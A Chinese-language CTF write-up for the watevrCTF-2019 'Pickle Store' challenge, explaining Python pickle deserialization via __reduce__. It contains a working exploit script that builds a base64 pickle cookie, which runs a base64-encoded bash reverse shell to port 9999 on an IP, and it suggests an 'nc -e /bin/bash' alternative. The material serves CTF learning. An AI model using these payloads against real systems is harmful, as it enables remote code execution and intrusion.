[watevrCTF-2019]Pickle Store
生活随笔
收集整理的这篇文章主要介绍了
[watevrCTF-2019]Pickle Store
小编觉得挺不错的,现在分享给大家,帮大家做个参考.
目录
- 思路
- 题解
- 总结
思路
先抓个包看看,里面有个session
base64解码后拿到一串乱码,根据题目可以得知考点是pickle反序列化
pickle反序列化可以用__reduce__魔术方法来重写里面的方法
在开发时,可以通过重写类的 object.reduce() 函数,使之在被实例化时按照重写的方
式进行。具体而言, python 要求 object.reduce() 返回一个 (callable,
([para1,para2…])[,…]) 的元组,每当该类的对象被 unpickle 时,该 callable 就
会被调用以生成对象(该 callable 其实是构造函数)。
题解
直接拿模板exp
import base64 import pickleclass shell(object):def __reduce__(self):# bash -i >& /dev/tcp/你的ip/9999 0>&1的base64#不能直接bash -i 0>&1那种写法,因为像是&这些符号 都是linux的shell关键字 会影响他的语法return (eval, ("__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuOTEuMjYuMjI5Lzk5OTkgMD4mMQ== | base64 -d | bash ')",))k = shell() print(base64.b64encode(pickle.dumps(k)))也可以用nc ip port -e /bin/bash,不过nc -e的主动连接不一定成功 因为他不一定装了nc
然后再你的vps里监听 9999 端口
把拿到的结果写入cookie发包,成功反弹shell
总结
中途遇到了点问题,连接被拒绝,发现是安全组策略问题,放行一些端口就好了
总结
以上是生活随笔为你收集整理的[watevrCTF-2019]Pickle Store的全部内容,希望文章能够帮你解决所遇到的问题。
- 上一篇: BUU CODE REVIEW 1
- 下一篇: CTFshow 反序列化 web264